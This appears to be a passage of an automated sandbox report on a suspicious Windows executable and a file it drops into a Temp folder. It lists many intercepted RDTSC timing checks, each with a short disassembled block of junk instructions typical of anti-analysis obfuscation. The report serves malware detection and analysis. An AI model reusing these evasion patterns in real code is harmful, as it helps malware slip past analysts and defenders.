Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E104E3 second address: 4E104FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push edi 0x00000006 mov di, si 0x00000009 pop ecx 0x0000000a popad 0x0000000b js 00007F8854FAEBECh 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E104FA second address: 4E104FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E104FE second address: 4E10504 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E10504 second address: 4E10548 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop esi 0x00000005 mov ebx, 5908FC78h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d cmp dword ptr [ebp-14h], edi 0x00000010 jmp 00007F8854FD8867h 0x00000015 jne 00007F88C6B267C6h 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F8854FD8865h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E10548 second address: 4E1054E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E1054E second address: 4E10552 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E10552 second address: 4E105EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebx, dword ptr [ebp+08h] 0x0000000b pushad 0x0000000c push ebx 0x0000000d mov bx, si 0x00000010 pop eax 0x00000011 mov ah, bh 0x00000013 popad 0x00000014 lea eax, dword ptr [ebp-2Ch] 0x00000017 jmp 00007F8854FAEB94h 0x0000001c xchg eax, esi 0x0000001d jmp 00007F8854FAEB90h 0x00000022 push eax 0x00000023 pushad 0x00000024 mov ax, dx 0x00000027 popad 0x00000028 xchg eax, esi 0x00000029 jmp 00007F8854FAEB8Fh 0x0000002e nop 0x0000002f jmp 00007F8854FAEB96h 0x00000034 push eax 0x00000035 jmp 00007F8854FAEB8Bh 0x0000003a nop 0x0000003b pushad 0x0000003c push eax 0x0000003d push edx 0x0000003e pushfd 0x0000003f jmp 00007F8854FAEB92h 0x00000044 adc si, EAB8h 0x00000049 jmp 00007F8854FAEB8Bh 0x0000004e popfd 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E105EF second address: 4E10662 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F8854FD8868h 0x00000008 sbb esi, 68112518h 0x0000000e jmp 00007F8854FD885Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 call 00007F8854FD8868h 0x0000001b mov dx, ax 0x0000001e pop eax 0x0000001f popad 0x00000020 push ecx 0x00000021 jmp 00007F8854FD885Ah 0x00000026 mov dword ptr [esp], ebx 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007F8854FD8867h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E10010 second address: 4E10016 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E10016 second address: 4E10041 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007F8854FD885Ah 0x0000000b xor si, 4618h 0x00000010 jmp 00007F8854FD885Bh 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, ebp 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E10041 second address: 4E10047 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E10047 second address: 4E10092 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8854FD885Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F8854FD885Ch 0x00000013 add esi, 620D27A8h 0x00000019 jmp 00007F8854FD885Bh 0x0000001e popfd 0x0000001f call 00007F8854FD8868h 0x00000024 pop esi 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E10092 second address: 4E100AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8854FAEB97h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E100AD second address: 4E100D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F8854FD8867h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E100D1 second address: 4E100EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8854FAEB99h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E100EE second address: 4E1012D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8854FD8861h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F8854FD885Eh 0x00000010 xchg eax, ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F8854FD8867h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E10AC3 second address: 4E10B04 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8854FAEB91h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c jmp 00007F8854FAEB8Eh 0x00000011 mov ebp, esp 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F8854FAEB97h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E10B04 second address: 4E10B1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8854FD8864h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E10B1C second address: 4E10B5C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [769B459Ch], 05h 0x0000000f pushad 0x00000010 mov dx, A7F0h 0x00000014 mov bx, 531Ch 0x00000018 popad 0x00000019 je 00007F88C6AECA50h 0x0000001f pushad 0x00000020 jmp 00007F8854FAEB91h 0x00000025 movzx esi, di 0x00000028 popad 0x00000029 pop ebp 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d mov ax, AA8Bh 0x00000031 mov ah, 64h 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E10E72 second address: 4E10E76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E10E76 second address: 4E10E7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E10E7A second address: 4E10E80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20997 second address: 4E2099D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E2099D second address: 4E209A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E209A1 second address: 4E209E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8854FAEB91h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov edi, eax 0x00000011 pushfd 0x00000012 jmp 00007F8854FAEB96h 0x00000017 and cx, 1608h 0x0000001c jmp 00007F8854FAEB8Bh 0x00000021 popfd 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E209E7 second address: 4E20ABE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8854FD8869h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b push esi 0x0000000c pushfd 0x0000000d jmp 00007F8854FD8863h 0x00000012 jmp 00007F8854FD8863h 0x00000017 popfd 0x00000018 pop esi 0x00000019 call 00007F8854FD8869h 0x0000001e jmp 00007F8854FD8860h 0x00000023 pop eax 0x00000024 popad 0x00000025 mov ebp, esp 0x00000027 pushad 0x00000028 mov bl, 6Ah 0x0000002a mov si, 710Fh 0x0000002e popad 0x0000002f xchg eax, esi 0x00000030 pushad 0x00000031 mov cx, 7307h 0x00000035 pushfd 0x00000036 jmp 00007F8854FD885Ch 0x0000003b sub eax, 65FB1AB8h 0x00000041 jmp 00007F8854FD885Bh 0x00000046 popfd 0x00000047 popad 0x00000048 push eax 0x00000049 jmp 00007F8854FD8869h 0x0000004e xchg eax, esi 0x0000004f pushad 0x00000050 pushad 0x00000051 movzx esi, di 0x00000054 mov dx, D23Ah 0x00000058 popad 0x00000059 mov dx, D806h 0x0000005d popad 0x0000005e mov esi, dword ptr [ebp+0Ch] 0x00000061 pushad 0x00000062 mov cx, dx 0x00000065 push eax 0x00000066 push edx 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20ABE second address: 4E20B14 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8854FAEB91h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a test esi, esi 0x0000000c pushad 0x0000000d mov ecx, 15E42C43h 0x00000012 pushfd 0x00000013 jmp 00007F8854FAEB98h 0x00000018 adc esi, 2C406908h 0x0000001e jmp 00007F8854FAEB8Bh 0x00000023 popfd 0x00000024 popad 0x00000025 je 00007F88C6ADC435h 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20B14 second address: 4E20B18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20B18 second address: 4E20B33 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8854FAEB97h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20B33 second address: 4E20B38 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20B38 second address: 4E20B68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov bl, 1Eh 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [769B459Ch], 05h 0x00000010 jmp 00007F8854FAEB8Ch 0x00000015 je 00007F88C6AF44C9h 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F8854FAEB8Ah 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20B68 second address: 4E20B6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20B6C second address: 4E20B72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20B72 second address: 4E20B9C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8854FD885Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007F8854FD8860h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20B9C second address: 4E20BA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20BA0 second address: 4E20BA6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20BA6 second address: 4E20BC0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8854FAEB8Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20BC0 second address: 4E20BDB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8854FD8867h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20C51 second address: 4E20C7A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8854FAEB99h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], esi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push edx 0x00000010 pop esi 0x00000011 movsx ebx, ax 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	RDTSC instruction interceptor: First address: 31444F second address: 31447F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8854FD8869h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F8854FD885Eh 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	RDTSC instruction interceptor: First address: 31334A second address: 313355 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop esi 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	RDTSC instruction interceptor: First address: 3136B4 second address: 3136BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	RDTSC instruction interceptor: First address: 31380B second address: 313845 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8854FAEB8Eh 0x00000007 jmp 00007F8854FAEB8Fh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jmp 00007F8854FAEB93h 0x00000014 pushad 0x00000015 popad 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	RDTSC instruction interceptor: First address: 313845 second address: 31385E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8854FD8864h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	RDTSC instruction interceptor: First address: 31385E second address: 313869 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	RDTSC instruction interceptor: First address: 313869 second address: 31386D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	RDTSC instruction interceptor: First address: 3164D9 second address: 3164DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	RDTSC instruction interceptor: First address: 31665A second address: 31665F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	RDTSC instruction interceptor: First address: 31665F second address: 3166D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8854FAEB8Bh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xor dword ptr [esp], 1598FFF1h 0x00000013 mov dword ptr [ebp+122D3561h], ecx 0x00000019 push 00000003h 0x0000001b push 00000000h 0x0000001d push esi 0x0000001e call 00007F8854FAEB88h 0x00000023 pop esi 0x00000024 mov dword ptr [esp+04h], esi 0x00000028 add dword ptr [esp+04h], 00000019h 0x00000030 inc esi 0x00000031 push esi 0x00000032 ret 0x00000033 pop esi 0x00000034 ret 0x00000035 mov esi, 1984C6A6h 0x0000003a mov di, cx 0x0000003d push 00000000h 0x0000003f mov dword ptr [ebp+122D3488h], ebx 0x00000045 mov dword ptr [ebp+122D3451h], esi 0x0000004b push 00000003h 0x0000004d mov edi, 3E02266Bh 0x00000052 push BFEA76BCh 0x00000057 pushad 0x00000058 jl 00007F8854FAEB88h 0x0000005e push ecx 0x0000005f pop ecx 0x00000060 push eax 0x00000061 push edx 0x00000062 pushad 0x00000063 popad 0x00000064 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	RDTSC instruction interceptor: First address: 3166D0 second address: 3166D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	RDTSC instruction interceptor: First address: 316747 second address: 31674D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	RDTSC instruction interceptor: First address: 31674D second address: 3167A7 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F8854FD8856h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f jne 00007F8854FD885Ah 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push edi 0x0000001a call 00007F8854FD8858h 0x0000001f pop edi 0x00000020 mov dword ptr [esp+04h], edi 0x00000024 add dword ptr [esp+04h], 00000018h 0x0000002c inc edi 0x0000002d push edi 0x0000002e ret 0x0000002f pop edi 0x00000030 ret 0x00000031 mov dword ptr [ebp+122D18B8h], eax 0x00000037 call 00007F8854FD8859h 0x0000003c jmp 00007F8854FD885Bh 0x00000041 push eax 0x00000042 push edi 0x00000043 pushad 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	RDTSC instruction interceptor: First address: 3167A7 second address: 3167F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8854FAEB8Fh 0x00000009 popad 0x0000000a pop edi 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jmp 00007F8854FAEB92h 0x00000014 mov eax, dword ptr [eax] 0x00000016 pushad 0x00000017 jmp 00007F8854FAEB99h 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	RDTSC instruction interceptor: First address: 3167F1 second address: 31686A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 popad 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c jmp 00007F8854FD885Dh 0x00000011 pop eax 0x00000012 push 00000000h 0x00000014 push ebp 0x00000015 call 00007F8854FD8858h 0x0000001a pop ebp 0x0000001b mov dword ptr [esp+04h], ebp 0x0000001f add dword ptr [esp+04h], 00000018h 0x00000027 inc ebp 0x00000028 push ebp 0x00000029 ret 0x0000002a pop ebp 0x0000002b ret 0x0000002c mov si, bx 0x0000002f push 00000003h 0x00000031 and edx, 2A1E57FFh 0x00000037 push 00000000h 0x00000039 jno 00007F8854FD8856h 0x0000003f push 00000003h 0x00000041 call 00007F8854FD8859h 0x00000046 jmp 00007F8854FD8866h 0x0000004b push eax 0x0000004c push eax 0x0000004d push edx 0x0000004e jo 00007F8854FD8858h 0x00000054 push ebx 0x00000055 pop ebx 0x00000056 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	RDTSC instruction interceptor: First address: 31686A second address: 316870 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	RDTSC instruction interceptor: First address: 316870 second address: 316874 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	RDTSC instruction interceptor: First address: 316874 second address: 3168E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8854FAEB8Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jnl 00007F8854FAEB8Eh 0x00000015 mov eax, dword ptr [eax] 0x00000017 jmp 00007F8854FAEB95h 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 pushad 0x00000021 push esi 0x00000022 push esi 0x00000023 pop esi 0x00000024 pop esi 0x00000025 pushad 0x00000026 push edi 0x00000027 pop edi 0x00000028 pushad 0x00000029 popad 0x0000002a popad 0x0000002b popad 0x0000002c pop eax 0x0000002d mov edx, 7181E125h 0x00000032 lea ebx, dword ptr [ebp+1244B3F9h] 0x00000038 push ebx 0x00000039 mov dword ptr [ebp+122D34C3h], esi 0x0000003f pop esi 0x00000040 xchg eax, ebx 0x00000041 jbe 00007F8854FAEB92h 0x00000047 jo 00007F8854FAEB8Ch 0x0000004d push eax 0x0000004e push edx 0x0000004f rdtsc
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	RDTSC instruction interceptor: First address: 3168E3 second address: 3168F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jg 00007F8854FD885Ch 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	RDTSC instruction interceptor: First address: 338AF4 second address: 338AF9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	RDTSC instruction interceptor: First address: 338AF9 second address: 338B01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	RDTSC instruction interceptor: First address: 336D2D second address: 336D37 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F8854FAEB86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	RDTSC instruction interceptor: First address: 336E7B second address: 336E85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F8854FD8856h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	RDTSC instruction interceptor: First address: 336E85 second address: 336E8F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	RDTSC instruction interceptor: First address: 336E8F second address: 336E95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	RDTSC instruction interceptor: First address: 336E95 second address: 336EBD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8854FAEB94h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a pushad 0x0000000b push esi 0x0000000c jo 00007F8854FAEB86h 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 pop esi 0x00000015 push eax 0x00000016 push edx 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	RDTSC instruction interceptor: First address: 336EBD second address: 336ED6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8854FD8865h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	RDTSC instruction interceptor: First address: 337171 second address: 33717B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 pushad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	RDTSC instruction interceptor: First address: 3375D5 second address: 3375DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	RDTSC instruction interceptor: First address: 3375DA second address: 3375F7 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F8854FAEB88h 0x00000008 jmp 00007F8854FAEB8Ah 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push edx 0x00000013 pop edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	RDTSC instruction interceptor: First address: 3375F7 second address: 3375FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
